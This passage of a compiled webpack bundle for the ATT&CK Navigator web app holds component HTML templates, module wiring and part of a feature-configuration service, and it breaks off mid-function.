\n {{filterTechniques(tactic.techniques, tactic).length }} techniques\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
0\" class=\"sidebar technique\" [ngClass]=\"{disabled: applyControls(technique.subtechniques, tactic).length == 0}\" (click)=\"onToggleSubtechniquesVisible(technique, tactic)\">\n
=
\n
\n \n \n
0\" class=\"sidebar subtechniques\">\n \n \n \n \n
\n \n \n
\n
\n
\n
\n
" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/matrix/matrix-mini/matrix-mini.component.html": +/*!*****************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/matrix/matrix-mini/matrix-mini.component.html ***! + \*****************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "\n \n \n \n \n \n \n \n \n \n \n
\n \n
\n \n
0 else elseblock\">\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n \n \n
\n
\n
\n
" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/matrix/matrix-side/matrix-side.component.html": +/*!*****************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/matrix/matrix-side/matrix-side.component.html ***! + \*****************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "\n \n \n \n \n \n \n \n \n \n \n \n \n \n
\n \n
\n {{filterTechniques(tactic.techniques, tactic).length }} techniques\n
\n \n \n \n \n \n \n \n
\n \n \n \n \n \n \n \n \n \n
\n \n \n
\n
\n
0\" [ngClass]=\"{disabled: applyControls(technique.subtechniques, tactic).length == 0, expanded: viewModel.getTechniqueVM(technique, tactic).showSubtechniques && applyControls(technique.subtechniques, tactic).length > 0}\"\n class=\"sidebar sidebar--{{tactic.id}}--{{technique.id}}\" (click)=\"onToggleSubtechniquesVisible(technique, tactic)\"> \n
\n \n \n \n
\n
=
\n
\n \n \n \n
\n
\n
\n
\n \n \n
\n
\n
\n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/matrix/tactic-cell/tactic-cell.component.html": +/*!*****************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/matrix/tactic-cell/tactic-cell.component.html ***! + \*****************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n {{tactic.attackID}}
{{tactic.name}}\n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/matrix/technique-cell/contextmenu/contextmenu.component.html": +/*!********************************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/matrix/technique-cell/contextmenu/contextmenu.component.html ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n \n
\n \n
\n
\n
\n {{technique.name}} ({{technique.attackID}})\n
\n
\n
\n
\n select\n
\n
\n add to selection\n
\n
\n remove from selection\n
\n
\n
\n
\n select all\n
\n
\n deselect all\n
\n
\n invert selection\n
\n
\n
\n
\n select annotated\n
\n
\n select unannotated\n
\n
\n
\n
\n view technique\n
\n
\n view tactic\n
\n
\n
0\">\n
\n {{contextMenuItem.label}}\n
\n
\n
\n
" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/matrix/technique-cell/technique-cell.component.html": +/*!***********************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/matrix/technique-cell/technique-cell.component.html ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n
\n \n {{technique.attackID}}
{{technique.name}}\n
\n 0\">\n  ({{annotatedSubtechniques()}}/{{applyControls(technique.subtechniques, tactic).length}})\n
\n \n \n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/matrix/technique-cell/tooltip/tooltip.component.html": +/*!************************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/matrix/technique-cell/tooltip/tooltip.component.html ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
\n {{technique.name}} ({{technique.attackID}})\n
Disabled
Score:{{techniqueVM.score}}\n
Comment:{{techniqueVM.comment}}
{{metadata.name}}:{{metadata.value}}
\n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/multiselect/multiselect.component.html": +/*!**********************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/multiselect/multiselect.component.html ***! + \**********************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n
\n

\n {{stixType.label}}\n

\n
\n \n \n \n \n \n \n \n
{{stixObject.name}}view
\n
\n
\n
" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/tab/tab.component.html": +/*!******************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/tab/tab.component.html ***! + \******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n \n \n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/tabs/tabs.component.html": +/*!********************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/tabs/tabs.component.html ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "\n
\n \n
\n ?\n
\n
\n
0 && configService.getFeature('tabs')\">\n \n
\n
\n \n \n
\n\n\n
\n \n
\n\n\n\n\n\n \n
\n \n \n \n \n Create New Layer\n \n \n Create a new empty layer\n \n\n \n \n \n\n \n \n\n \n \n \n Open Existing Layer\n \n \n Load a layer from your computer or a URL\n \n \n \n \n \n\n \n \n \n
\n OR\n \n \n
\n\n\n\n
\n\n \n \n \n \n Create Layer from other layers\n \n \n Choose layers to inherit properties from\n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
\n \n \n {{getScoreExpressionError()}}\n \n \n Use constants (numbers) and layer variables (yellow, above) to write an expression for the initial value of scores in the new layer. A full list of supported operations can be found here. Leave blank to initialize scores to 0.\n
\n \n \n none\n {{vm.name}}\n \n \n \n Choose which layer to import the scoring gradient from. Leave blank to initialize with the default scoring gradient.\n
\n \n \n none\n {{vm.name}}\n \n \n \n Choose which layer to import manually assigned colors from. Leave blank to initialize with no colors.\n
\n \n \n none\n {{vm.name}}\n \n \n \n Choose which layer to import comments from. Leave blank to initialize with no comments.\n
\n \n \n none\n {{vm.name}}\n \n \n \n Choose which layer to import enabled/disabled states from. Leave blank to initialize all to enabled.\n
\n \n \n none\n {{vm.name}}\n \n \n \n Choose which layer to import filters - stages and platforms - from. Leave blank to initialize with no filters.\n
\n \n \n none\n {{vm.name}}\n \n \n \n Choose which layer to import the legend from. Leave blank to initialize with an empty legend.\n
\n\n \n\n
\n\n \n \n \n Create Customized Navigator\n \n \n Create a hyperlink to a customized ATT&CK Navigator\n \n \n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n

Default Layers

\n
    \n
  • \n \n \n \n \n
  • \n
  • \n \n
  • \n
\n
Enter the URLs of layers hosted on the web. The custom navigator will open these layers by default.

Navigator Features

\n {{featureItem.name.split(\"_\").join(\" \")}}\n {{featureItem.description}}
\n

{{featureItem.name.split(\"_\").join(\" \")}}

\n
\n {{subfeature.name.split(\"_\").join(\" \")}}\n {{subfeature.description}}
\n
\n \n \n \n copied\n \n
\n\n\n\n
\n
\n\n
\n \n
\n\n
\n\n
\n\n\n \n\n\n\n
\n \n
\n\n
\n\n\n
\n \n
\n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/techniques-search/techniques-search.component.html": +/*!**********************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/techniques-search/techniques-search.component.html ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n
\n \n \n \n
\n

properties searched

\n
\n
\n \n \n
\n
\n
0\">\n

results

\n
\n \n \n
\n
\n 0\">\n \n \n \n \n \n \n
\n {{result.parent.name}}: {{result.name}}\n view
\n
no results
\n
\n
\n
\n" + +/***/ }), + +/***/ "./node_modules/webpack/buildin/global.js": +/*!***********************************!*\ + !*** (webpack)/buildin/global.js ***! + \***********************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var g; + +// This works in non-strict mode +g = (function() { + return this; +})(); + +try { + // This works if eval is allowed (see CSP) + g = g || new Function("return this")(); +} catch (e) { + // This works if the window reference is available + if (typeof window === "object") g = window; +} + +// g can still be undefined, but nothing to do about it... +// We return undefined, instead of nothing here, so it's +// easier to handle this case. if(!global) { ...} + +module.exports = g; + + +/***/ }), + +/***/ "./src/$$_lazy_route_resource lazy recursive": +/*!**********************************************************!*\ + !*** ./src/$$_lazy_route_resource lazy namespace object ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +function webpackEmptyAsyncContext(req) { + // Here Promise.resolve().then() is used instead of new Promise() to prevent + // uncaught exception popping up in devtools + return Promise.resolve().then(function() { + var e = new Error("Cannot find module '" + req + "'"); + e.code = 'MODULE_NOT_FOUND'; + throw e; + }); +} +webpackEmptyAsyncContext.keys = function() { return []; }; +webpackEmptyAsyncContext.resolve = webpackEmptyAsyncContext; +module.exports = webpackEmptyAsyncContext; +webpackEmptyAsyncContext.id = "./src/$$_lazy_route_resource lazy recursive"; + +/***/ }), + +/***/ "./src/app/app.component.scss": +/*!************************************!*\ + !*** ./src/app/app.component.scss ***! + \************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "tabs {\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen, Ubuntu, Cantarell, \"Open Sans\", \"Helvetica Neue\", sans-serif;\n font-size: 9pt;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9hcHAuY29tcG9uZW50LnNjc3MiLCJzcmMvYXBwL2FwcC5jb21wb25lbnQuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQUVJLHdJQUFBO0VBQ0EsY0FBQTtBQ0FKIiwiZmlsZSI6InNyYy9hcHAvYXBwLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsidGFicyB7XG4gICAgLy8gZm9udC1mYW1pbHk6ICdSb2JvdG8gTW9ubycsIG1vbm9zcGFjZTtcbiAgICBmb250LWZhbWlseTogLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAnU2Vnb2UgVUknLCBSb2JvdG8sIE94eWdlbiwgVWJ1bnR1LCBDYW50YXJlbGwsICdPcGVuIFNhbnMnLCAnSGVsdmV0aWNhIE5ldWUnLCBzYW5zLXNlcmlmO1xuICAgIGZvbnQtc2l6ZTogOXB0O1xuXG59XG4iLCJ0YWJzIHtcbiAgZm9udC1mYW1pbHk6IC1hcHBsZS1zeXN0ZW0sIEJsaW5rTWFjU3lzdGVtRm9udCwgXCJTZWdvZSBVSVwiLCBSb2JvdG8sIE94eWdlbiwgVWJ1bnR1LCBDYW50YXJlbGwsIFwiT3BlbiBTYW5zXCIsIFwiSGVsdmV0aWNhIE5ldWVcIiwgc2Fucy1zZXJpZjtcbiAgZm9udC1zaXplOiA5cHQ7XG59Il19 */" + +/***/ }), + +/***/ "./src/app/app.component.ts": +/*!**********************************!*\ + !*** ./src/app/app.component.ts ***! + \**********************************/ +/*! exports provided: AppComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "AppComponent", function() { return AppComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _tabs_tabs_component__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./tabs/tabs.component */ "./src/app/tabs/tabs.component.ts"); +/* harmony import */ var _globals__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./globals */ "./src/app/globals.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + +var AppComponent = /** @class */ (function () { + function AppComponent() { + this.nav_version = _globals__WEBPACK_IMPORTED_MODULE_2__["nav_version"]; + Array.prototype.includes = function (value) { + // console.log("checking include") + for (var i = 0; i < this.length; i++) { + if (this[i] === value) + return true; + } + return false; + }; + } + AppComponent.prototype.promptNavAway = function ($event) { + //this text only shows in the data, not visible to user as far as I can tell + //however, if it's not included the window doesn't open. + $event.returnValue = 'Are you sure you want to navigate away? Your data may be lost!'; + }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewChild"])(_tabs_tabs_component__WEBPACK_IMPORTED_MODULE_1__["TabsComponent"], { static: false }), + __metadata("design:type", Object) + ], AppComponent.prototype, "tabsComponent", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["HostListener"])('window:beforeunload', ['$event']), + __metadata("design:type", Function), + __metadata("design:paramtypes", [Object]), + __metadata("design:returntype", void 0) + ], AppComponent.prototype, "promptNavAway", null); + AppComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'app-root', + template: __webpack_require__(/*! raw-loader!./app.component.html */ "./node_modules/raw-loader/index.js!./src/app/app.component.html"), + styles: [__webpack_require__(/*! ./app.component.scss */ "./src/app/app.component.scss")] + }), + __metadata("design:paramtypes", []) + ], AppComponent); + return AppComponent; +}()); + + + +/***/ }), + +/***/ "./src/app/app.module.ts": +/*!*******************************!*\ + !*** ./src/app/app.module.ts ***! + \*******************************/ +/*! exports provided: AppModule */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "AppModule", function() { return AppModule; }); +/* harmony import */ var _angular_platform_browser__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/platform-browser */ "./node_modules/@angular/platform-browser/fesm5/platform-browser.js"); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var rxjs_add_operator_map__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! rxjs/add/operator/map */ "./node_modules/rxjs-compat/_esm5/add/operator/map.js"); +/* harmony import */ var _angular_platform_browser_animations__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @angular/platform-browser/animations */ "./node_modules/@angular/platform-browser/fesm5/animations.js"); +/* harmony import */ var _angular_material_input__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @angular/material/input */ "./node_modules/@angular/material/esm5/input.es5.js"); +/* harmony import */ var _angular_material_select__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! @angular/material/select */ "./node_modules/@angular/material/esm5/select.es5.js"); +/* harmony import */ var _angular_material_button__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! @angular/material/button */ "./node_modules/@angular/material/esm5/button.es5.js"); +/* harmony import */ var _angular_forms__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! @angular/forms */ "./node_modules/@angular/forms/fesm5/forms.js"); +/* harmony import */ var _angular_material_tooltip__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! @angular/material/tooltip */ "./node_modules/@angular/material/esm5/tooltip.es5.js"); +/* harmony import */ var _angular_material_menu__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! @angular/material/menu */ "./node_modules/@angular/material/esm5/menu.es5.js"); +/* harmony import */ var _angular_material_expansion__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! @angular/material/expansion */ "./node_modules/@angular/material/esm5/expansion.es5.js"); +/* harmony import */ var ngx_color_picker__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ngx-color-picker */ "./node_modules/ngx-color-picker/dist/ngx-color-picker.es5.js"); +/* harmony import */ var _angular_common_http__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! @angular/common/http */ "./node_modules/@angular/common/fesm5/http.js"); +/* harmony import */ var _app_component__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(/*! ./app.component */ "./src/app/app.component.ts"); +/* harmony import */ var _datatable_data_table_component__WEBPACK_IMPORTED_MODULE_14__ = __webpack_require__(/*! ./datatable/data-table.component */ "./src/app/datatable/data-table.component.ts"); +/* harmony import */ var _tabs_tabs_component__WEBPACK_IMPORTED_MODULE_15__ = __webpack_require__(/*! ./tabs/tabs.component */ "./src/app/tabs/tabs.component.ts"); +/* harmony import */ var _tabs_dynamic_tabs_directive__WEBPACK_IMPORTED_MODULE_16__ = __webpack_require__(/*! ./tabs/dynamic-tabs.directive */ "./src/app/tabs/dynamic-tabs.directive.ts"); +/* harmony import */ var _tab_tab_component__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! ./tab/tab.component */ "./src/app/tab/tab.component.ts"); +/* harmony import */ var _help_help_component__WEBPACK_IMPORTED_MODULE_18__ = __webpack_require__(/*! ./help/help.component */ "./src/app/help/help.component.ts"); +/* harmony import */ var _exporter_exporter_component__WEBPACK_IMPORTED_MODULE_19__ = __webpack_require__(/*! ./exporter/exporter.component */ "./src/app/exporter/exporter.component.ts"); +/* harmony import */ var _matrix_technique_cell_technique_cell_component__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! ./matrix/technique-cell/technique-cell.component */ "./src/app/matrix/technique-cell/technique-cell.component.ts"); +/* harmony import */ var _matrix_matrix_side_matrix_side_component__WEBPACK_IMPORTED_MODULE_21__ = __webpack_require__(/*! ./matrix/matrix-side/matrix-side.component */ "./src/app/matrix/matrix-side/matrix-side.component.ts"); +/* harmony import */ var _matrix_matrix_flat_matrix_flat_component__WEBPACK_IMPORTED_MODULE_22__ = __webpack_require__(/*! ./matrix//matrix-flat/matrix-flat.component */ "./src/app/matrix/matrix-flat/matrix-flat.component.ts"); +/* harmony import */ var _matrix_matrix_mini_matrix_mini_component__WEBPACK_IMPORTED_MODULE_23__ = __webpack_require__(/*! ./matrix//matrix-mini/matrix-mini.component */ "./src/app/matrix/matrix-mini/matrix-mini.component.ts"); +/* harmony import */ var _matrix_technique_cell_tooltip_tooltip_component__WEBPACK_IMPORTED_MODULE_24__ = __webpack_require__(/*! ./matrix/technique-cell/tooltip/tooltip.component */ "./src/app/matrix/technique-cell/tooltip/tooltip.component.ts"); +/* harmony import */ var _multiselect_multiselect_component__WEBPACK_IMPORTED_MODULE_25__ = __webpack_require__(/*! ./multiselect/multiselect.component */ "./src/app/multiselect/multiselect.component.ts"); +/* harmony import */ var _techniques_search_techniques_search_component__WEBPACK_IMPORTED_MODULE_26__ = __webpack_require__(/*! ./techniques-search/techniques-search.component */ "./src/app/techniques-search/techniques-search.component.ts"); +/* harmony import */ var _matrix_technique_cell_contextmenu_contextmenu_component__WEBPACK_IMPORTED_MODULE_27__ = __webpack_require__(/*! ./matrix/technique-cell/contextmenu/contextmenu.component */ "./src/app/matrix/technique-cell/contextmenu/contextmenu.component.ts"); +/* harmony import */ var _matrix_tactic_cell_tactic_cell_component__WEBPACK_IMPORTED_MODULE_28__ = __webpack_require__(/*! ./matrix/tactic-cell/tactic-cell.component */ "./src/app/matrix/tactic-cell/tactic-cell.component.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; + + + +// material + + + + + + + + + + + + + + + + + + + + + + + + + + +var AppModule = /** @class */ (function () { + function AppModule() { + } + AppModule = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["NgModule"])({ + declarations: [ + _app_component__WEBPACK_IMPORTED_MODULE_13__["AppComponent"], + _datatable_data_table_component__WEBPACK_IMPORTED_MODULE_14__["DataTableComponent"], + _tabs_tabs_component__WEBPACK_IMPORTED_MODULE_15__["TabsComponent"], + _tab_tab_component__WEBPACK_IMPORTED_MODULE_17__["TabComponent"], + _tabs_dynamic_tabs_directive__WEBPACK_IMPORTED_MODULE_16__["DynamicTabsDirective"], + _help_help_component__WEBPACK_IMPORTED_MODULE_18__["HelpComponent"], + _exporter_exporter_component__WEBPACK_IMPORTED_MODULE_19__["ExporterComponent"], + _matrix_technique_cell_technique_cell_component__WEBPACK_IMPORTED_MODULE_20__["TechniqueCellComponent"], + _matrix_matrix_side_matrix_side_component__WEBPACK_IMPORTED_MODULE_21__["MatrixSideComponent"], + _matrix_matrix_flat_matrix_flat_component__WEBPACK_IMPORTED_MODULE_22__["MatrixFlatComponent"], + _matrix_matrix_mini_matrix_mini_component__WEBPACK_IMPORTED_MODULE_23__["MatrixMiniComponent"], + _matrix_technique_cell_tooltip_tooltip_component__WEBPACK_IMPORTED_MODULE_24__["TooltipComponent"], + _multiselect_multiselect_component__WEBPACK_IMPORTED_MODULE_25__["MultiselectComponent"], + _techniques_search_techniques_search_component__WEBPACK_IMPORTED_MODULE_26__["TechniquesSearchComponent"], + _matrix_technique_cell_contextmenu_contextmenu_component__WEBPACK_IMPORTED_MODULE_27__["ContextmenuComponent"], + _matrix_tactic_cell_tactic_cell_component__WEBPACK_IMPORTED_MODULE_28__["TacticCellComponent"] + ], + imports: [ + _angular_platform_browser__WEBPACK_IMPORTED_MODULE_0__["BrowserModule"], + _angular_common_http__WEBPACK_IMPORTED_MODULE_12__["HttpClientModule"], + _angular_platform_browser_animations__WEBPACK_IMPORTED_MODULE_3__["BrowserAnimationsModule"], + _angular_material_select__WEBPACK_IMPORTED_MODULE_5__["MatSelectModule"], + _angular_forms__WEBPACK_IMPORTED_MODULE_7__["FormsModule"], + _angular_forms__WEBPACK_IMPORTED_MODULE_7__["ReactiveFormsModule"], + _angular_material_input__WEBPACK_IMPORTED_MODULE_4__["MatInputModule"], + _angular_material_button__WEBPACK_IMPORTED_MODULE_6__["MatButtonModule"], + _angular_material_tooltip__WEBPACK_IMPORTED_MODULE_8__["MatTooltipModule"], + _angular_material_menu__WEBPACK_IMPORTED_MODULE_9__["MatMenuModule"], + _angular_material_expansion__WEBPACK_IMPORTED_MODULE_10__["MatExpansionModule"], + ngx_color_picker__WEBPACK_IMPORTED_MODULE_11__["ColorPickerModule"], + ], + exports: [ + _angular_material_select__WEBPACK_IMPORTED_MODULE_5__["MatSelectModule"], + _angular_material_input__WEBPACK_IMPORTED_MODULE_4__["MatInputModule"], + _angular_material_button__WEBPACK_IMPORTED_MODULE_6__["MatButtonModule"], + _angular_material_tooltip__WEBPACK_IMPORTED_MODULE_8__["MatTooltipModule"], + _angular_material_menu__WEBPACK_IMPORTED_MODULE_9__["MatMenuModule"], + _angular_material_expansion__WEBPACK_IMPORTED_MODULE_10__["MatExpansionModule"], + ], + providers: [], + bootstrap: [_app_component__WEBPACK_IMPORTED_MODULE_13__["AppComponent"]], + entryComponents: [_tab_tab_component__WEBPACK_IMPORTED_MODULE_17__["TabComponent"]] + }) + ], AppModule); + return AppModule; +}()); + + + +/***/ }), + +/***/ "./src/app/config.service.ts": +/*!***********************************!*\ + !*** ./src/app/config.service.ts ***! + \***********************************/ +/*! exports provided: ConfigService, ContextMenuItem */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ConfigService", function() { return ConfigService; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ContextMenuItem", function() { return ContextMenuItem; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./data.service */ "./src/app/data.service.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + //import the DataService component so we can use it +var ConfigService = /** @class */ (function () { + function ConfigService(dataService) { + this.dataService = dataService; + this.comment_color = "yellow"; + this.features = new Map(); + this.featureGroups = new Map(); + this.contextMenuItems = []; + console.log("initializing config service"); + var self = this; + dataService.getConfig().subscribe(function (config) { + //parse feature preferences from config json + config["features"].forEach(function (featureObject) { + self.setFeature_object(featureObject); + }); + //override json preferences with preferences from URL fragment + self.getAllFragments().forEach(function (value, key) { + var valueBool = (value == 'true'); + if (self.isFeature(key) || self.isFeatureGroup(key)) { + // console.log("setting feature", key, valueBool) + self.setFeature(key, valueBool); + } + // else { + // console.log(key, "is not a feature") + // } + }); + dataService.subtechniquesEnabled = self.getFeature("subtechniques"); + self.featureStructure = config["features"]; + self.comment_color = config["comment_color"]; + for (var _i = 0, _a = config["custom_context_menu_items"]; _i < _a.length; _i++) { + var obj = _a[_i]; + self.contextMenuItems.push(new ContextMenuItem(obj.label, obj.url, obj.subtechnique_url)); + } + }); + } + ConfigService.prototype.getFeatureList = function () { + if (!this.featureStructure) + return []; + return this.featureStructure; + }; + ConfigService.prototype.getFeature = function (featureName) { + return this.features.get(featureName); + }; + /** + * Return true if any/all features in the group are enabled + * @param featureGroup feature group name + * @param type 'any' or 'all' for logical or/and + * @return true iffany/all are enabled, false otherwise + */ + ConfigService.prototype.getFeatureGroup = function (featureGroup, type) { + if (!this.featureGroups.has(featureGroup)) + return true; + var subFeatures = this.featureGroups.get(featureGroup); + var count = this.getFeatureGroupCount(featureGroup); + return type == "any" ? count > 0 : count === subFeatures.length; + }; + /** + * Return the number of enabled features in the group + * @param featureGroup feature group name + * @return the number of enabled features in the group, or -1 if + * the group does not exist + */ + ConfigService.prototype.getFeatureGroupCount = function (featureGroup) { + if (!this.featureGroups.has(featureGroup)) + return -1; + var count = 0; + var subFeatures = this.featureGroups.get(featureGroup); + for (var i = 0; i < subFeatures.length; i++) { + if (this.getFeature(subFeatures[i])) + count += 1; + } + return count; + }; + /** + * Recursively search an object for boolean properties, set these as features + * Take a key:value pair of an object. If the value is a boolean, set the + * feature[key] to value. Otherwise recursively walk value to find boolean + * options. + * + * Additionally, if the given feature grouping (where value is an obj) + * has been previously defined, boolean properties assigned to the grouping + * name will apply to all subfeatures of the grouping. + * + * @param featureName string, the fieldname the value was found in + * @param value boolean:object the value of the field. If a boolean, + * sets feature[featureName] = value, otherwise walks recursively + */ + ConfigService.prototype.setFeature = function (featureName, value) { + var self = this; + // console.log(featureName, value); + if (typeof (value) == "boolean") { //base case + if (this.featureGroups.has(featureName)) { //feature group, assign to all subfeatures + this.featureGroups.get(featureName).forEach(function (subFeatureName) { + self.setFeature(subFeatureName, value); + }); + } + else { //single feature + this.features.set(featureName, value); + } + return [featureName]; + } + if (typeof (value) == "object") { //keep walking + var subfeatures_1 = []; + Object.keys(value).forEach(function (fieldname) { + subfeatures_1 = Array.prototype.concat(subfeatures_1, self.setFeature(fieldname, value[fieldname])); + }); + this.featureGroups.set(featureName, subfeatures_1); + return subfeatures_1; + } + }; + /** + * given a set of feature objects, set the enabledness of that object and all subobjects + * + * @param featureObject {name: string, enabled: boolean, subfeatures?: featureObject[] } + * Of enabled is false and it has subfeatures, they will all be forced to be false too + * @param override Set all subfeatures, and their subfeatures, values to + * this value + */ + ConfigService.prototype.setFeature_object = function (featureObject, override) { + if (override === void 0) { override = null; } + var self = this; + // base case + if (!featureObject.hasOwnProperty("subfeatures")) { + var enabled = override !== null ? override : featureObject.enabled; + this.features.set(featureObject.name, enabled); + return [featureObject.name]; + } + else { //has subfeatures + override = override ? override : !featureObject.enabled ? false : null; + var subfeatures_2 = []; + featureObject.subfeatures.forEach(function (subfeature) { + subfeatures_2 = Array.prototype.concat(subfeatures_2, self.setFeature_object(subfeature, override)); + }); + this.featureGroups.set(featureObject.name, subfeatures_2); + return subfeatures_2; + } + }; + /** + * Return if the given string corresponds to a defined feature + * @param featureName the name of the feature + * @return true if the feature exists, false otherwise + */ + ConfigService.prototype.isFeature = function 